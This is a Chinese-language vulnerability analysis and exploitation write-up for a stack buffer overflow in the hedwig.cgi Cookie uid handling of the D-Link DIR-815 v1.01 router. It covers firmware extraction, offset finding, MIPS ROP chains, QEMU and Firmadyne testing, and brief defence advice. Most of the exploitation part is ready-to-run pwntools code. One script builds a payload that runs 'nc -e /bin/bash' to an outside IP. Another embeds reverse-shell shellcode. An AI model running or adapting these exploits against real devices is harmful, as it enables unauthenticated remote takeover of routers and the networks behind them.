D-Link DIR815路由器缓冲区溢出漏洞再分析
字数 1894 2025-08-22 12:22:48

D-Link DIR815路由器缓冲区溢出漏洞分析与利用

漏洞概述

D-Link DIR815路由器1.01版本中存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值触发栈溢出,从而获得路由器的远程控制权限。

漏洞类型:栈缓冲区溢出
影响组件:hedwig.cgi(实际为cgibin)
漏洞函数:sprintf
触发条件:HTTP_COOKIE中uid=后的值过长

环境准备

调试工具

  • 静态分析工具

    • IDA 6.8(带mipsrop插件)
    • Ghidra(用于反编译mips架构程序)
  • 动态调试工具

    • qemu 2.5(用户模式和系统模式)
    • gdbserver(用于远程调试)
    • gdb-multiarch(用于调试MIPS架构)
  • 固件分析工具

    • binwalk(用于解压固件)
    • Firmadyne(全系统仿真工具)

目标设备

  • D-Link DIR-815 v1.01
  • 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

漏洞定位

  1. 使用binwalk解压固件:

    binwalk -Me DIR-815_FIRMWARE_1.01.ZIP
    
  2. 查找关键文件:

    find . -name '*cgi'
    ls -l ./htdocs/web/hedwig.cgi
    

    发现hedwig.cgi是指向./htdocs/cgibin的符号链接

  3. 使用IDA/Ghidra分析cgibin:

    • 搜索字符串"HTTP_COOKIE"
    • 找到sess_get_uid函数,该函数提取HTTP_COOKIE中"uid="后的部分
    • 交叉引用找到hedwigcgi_main函数

漏洞分析

漏洞代码

hedwigcgi_main函数中存在两个关键的sprintf调用:

  1. 第一个sprintf:

    sprintf(栈缓冲区, "%s/%s/postxml", "/runtime/session", uid内容);
    

    未对uid长度进行检查,导致栈溢出

  2. 第二个sprintf:

    sprintf(另一个栈缓冲区, "%s/%s", "/var/tmp", uid内容);
    

    需要满足条件:存在/var/tmp目录且POST数据包含"uid=..."

触发条件

  • 必须设置环境变量:

    • REQUEST_METHOD="POST"
    • HTTP_COOKIE="uid=超长字符串"
    • CONTENT_LENGTH
    • CONTENT_TYPE="application/x-www-form-urlencoded"
  • 对于第二个sprintf,还需要:

    • 存在/var/tmp目录
    • POST数据中包含"uid=..."

漏洞利用

1. 确定偏移量

使用patternLocOffset.py生成测试字符串,通过调试确定溢出点:

  1. 第一个sprintf:

    • 偏移量:1043字节
  2. 第二个sprintf:

    • 偏移量:1009字节

2. 构造ROP链

方法一:调用system函数

  1. 定位libc基地址:

    • 通过gdb调试获取:0x76738000
    • system函数偏移:0x53200
  2. 关键gadget:

    • gadget1 (0x45988): 将s0加1并跳转到s1
    • gadget2 (0x159cc): 将栈上数据加载到a0并跳转到s0
  3. 构造payload:

    padding = 'A' * offset
    padding += p32(libc_base + system_addr_1)  # s0
    padding += p32(libc_base + gadget2)       # s1
    padding += 'A' * 4                        # s2-s7, fp
    padding += p32(libc_base + gadget1)       # ra
    padding += 'B' * 0x10
    padding += "/bin//sh"
    

方法二:调用sleep(1)后执行shellcode

  1. 关键gadget:

    • gadget1 (0x57E50): 设置a0=1并跳转到s1
    • gadget2 (0x3B8A8): 从栈加载ra并跳转到s2
    • gadget3 (0x14F28): 从栈加载s1并跳转到s4
    • gadget4 (0x1DD08): move \(t9,\)s1
  2. shellcode:

    shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01..."
    
  3. 构造payload:

    payload = 'A' * offset
    payload += 'A' * 4                        # s0
    payload += p32(libc_base + gadget2)       # s1
    payload += p32(libc_base + sleep)         # s2
    payload += 'A' * 4                        # s3
    payload += p32(libc_base + gadget4)       # s4
    payload += 'A' * 4                        # s5-s7, fp
    payload += p32(libc_base + gadget1)       # ra
    payload += 'B' * 0x24
    payload += p32(libc_base + gadget3)       # sp+0x24
    payload += 'c' * 0x18
    payload += shellcode
    

测试方法

1. QEMU用户模式测试

使用test.sh脚本:

#!/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E REQUEST_METHOD="POST" \
    -E HTTP_COOKIE=$test \
    -E REQUEST_URL="/hedwig.cgi" \
    -E REMOTE_ADDR="127.0.0.1" \
    -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu

2. QEMU系统模式测试

  1. 配置网络:

    sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
        -hda debian_squeeze_mipsel_standard.qcow2 \
        -append "root=/dev/sda1 console=tty0" \
        -net nic -net tap -nographic
    
  2. 配置HTTP服务:

    • 修改httpcfg.php配置文件
    • 设置正确的IP和端口
  3. 使用curl测试:

    curl http://192.168.79.143:1234/hedwig.cgi -v -X POST \
        -H "Content-Length: 8" -b "uid=zh"
    

3. Firmadyne仿真测试

  1. 启动仿真环境
  2. 扫描开放端口:
    nmap -sV 192.168.0.1
    
  3. 使用构造的exp攻击

4. 实体机测试

  1. 刷写1.01版本固件
  2. 使用构造的payload攻击

完整利用代码

system函数利用

#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"

base_addr = 0x76738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc

cmd = 'nc -e /bin/bash 192.168.79.145 9999'

padding = 'A' * 973
padding += p32(base_addr + system_addr_1)  # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                       # s2
padding += 'A' * 4                       # s3
padding += 'A' * 4                       # s4
padding += 'A' * 4                       # s5
padding += 'A' * 4                       # s6
padding += 'A' * 4                       # s7
padding += 'A' * 4                       # fp
padding += p32(base_addr + gadget1)      # ra
padding += 'B' * 0x10
padding += cmd

f = open("exploit", 'wb+')
f.write(padding)
f.close()

sleep(1)调用shellcode

#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"

shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

libc_base = 0x77f34000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08

payload = 'A' * 973
payload += 'A' * 4                       # s0
payload += p32(libc_base + gadget2)      # s1
payload += p32(libc_base + sleep)        # s2
payload += 'A' * 4                       # s3
payload += p32(libc_base + gadget4)      # s4
payload += 'A' * 4                       # s5
payload += 'A' * 4                       # s6
payload += 'A' * 4                       # s7
payload += 'A' * 4                       # fp
payload += p32(libc_base + gadget1)      # ra
payload += 'B' * 0x24
payload += p32(libc_base + gadget3)      # sp+0x24
payload += 'c' * 0x18
payload += shellcode

f = open("exploit2", 'wb+')
f.write(payload)
f.close()

总结

  1. 漏洞关键点:

    • hedwig.cgi中未对HTTP_COOKIE的uid参数进行长度检查
    • 通过sprintf导致栈溢出
    • 可以覆盖保存的返回地址
  2. 利用难点:

    • MIPS架构的ROP构造
    • 坏字符处理(如\x00)
    • 缓存一致性问题(使用sleep解决)
  3. 防御建议:

    • 对输入参数进行长度检查
    • 使用更安全的字符串函数(如snprintf)
    • 及时更新固件版本

参考资料

  1. 《揭秘家用路由器0day漏洞挖掘技术》
  2. H4lo师傅的分析文章
  3. Metasploit相关模块
  4. Firmadyne文档
D-Link DIR815路由器缓冲区溢出漏洞分析与利用 漏洞概述 D-Link DIR815路由器1.01版本中存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值触发栈溢出,从而获得路由器的远程控制权限。 漏洞类型:栈缓冲区溢出 影响组件:hedwig.cgi(实际为cgibin) 漏洞函数:sprintf 触发条件:HTTP_ COOKIE中uid=后的值过长 环境准备 调试工具 静态分析工具 : IDA 6.8(带mipsrop插件) Ghidra(用于反编译mips架构程序) 动态调试工具 : qemu 2.5(用户模式和系统模式) gdbserver(用于远程调试) gdb-multiarch(用于调试MIPS架构) 固件分析工具 : binwalk(用于解压固件) Firmadyne(全系统仿真工具) 目标设备 D-Link DIR-815 v1.01 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_ FIRMWARE_ 1.01.ZIP 漏洞定位 使用binwalk解压固件: 查找关键文件: 发现hedwig.cgi是指向./htdocs/cgibin的符号链接 使用IDA/Ghidra分析cgibin: 搜索字符串"HTTP_ COOKIE" 找到 sess_get_uid 函数,该函数提取HTTP_ COOKIE中"uid="后的部分 交叉引用找到 hedwigcgi_main 函数 漏洞分析 漏洞代码 在 hedwigcgi_main 函数中存在两个关键的sprintf调用: 第一个sprintf: 未对uid长度进行检查,导致栈溢出 第二个sprintf: 需要满足条件:存在/var/tmp目录且POST数据包含"uid=..." 触发条件 必须设置环境变量: REQUEST_ METHOD="POST" HTTP_ COOKIE="uid=超长字符串" CONTENT_ LENGTH CONTENT_ TYPE="application/x-www-form-urlencoded" 对于第二个sprintf,还需要: 存在/var/tmp目录 POST数据中包含"uid=..." 漏洞利用 1. 确定偏移量 使用patternLocOffset.py生成测试字符串,通过调试确定溢出点: 第一个sprintf: 偏移量:1043字节 第二个sprintf: 偏移量:1009字节 2. 构造ROP链 方法一:调用system函数 定位libc基地址: 通过gdb调试获取:0x76738000 system函数偏移:0x53200 关键gadget: gadget1 (0x45988): 将s0加1并跳转到s1 gadget2 (0x159cc): 将栈上数据加载到a0并跳转到s0 构造payload: 方法二:调用sleep(1)后执行shellcode 关键gadget: gadget1 (0x57E50): 设置a0=1并跳转到s1 gadget2 (0x3B8A8): 从栈加载ra并跳转到s2 gadget3 (0x14F28): 从栈加载s1并跳转到s4 gadget4 (0x1DD08): move $t9,$s1 shellcode: 构造payload: 测试方法 1. QEMU用户模式测试 使用test.sh脚本: 2. QEMU系统模式测试 配置网络: 配置HTTP服务: 修改httpcfg.php配置文件 设置正确的IP和端口 使用curl测试: 3. Firmadyne仿真测试 启动仿真环境 扫描开放端口: 使用构造的exp攻击 4. 实体机测试 刷写1.01版本固件 使用构造的payload攻击 完整利用代码 system函数利用 sleep(1)调用shellcode 总结 漏洞关键点: hedwig.cgi中未对HTTP_ COOKIE的uid参数进行长度检查 通过sprintf导致栈溢出 可以覆盖保存的返回地址 利用难点: MIPS架构的ROP构造 坏字符处理(如\x00) 缓存一致性问题(使用sleep解决) 防御建议: 对输入参数进行长度检查 使用更安全的字符串函数(如snprintf) 及时更新固件版本 参考资料 《揭秘家用路由器0day漏洞挖掘技术》 H4lo师傅的分析文章 Metasploit相关模块 Firmadyne文档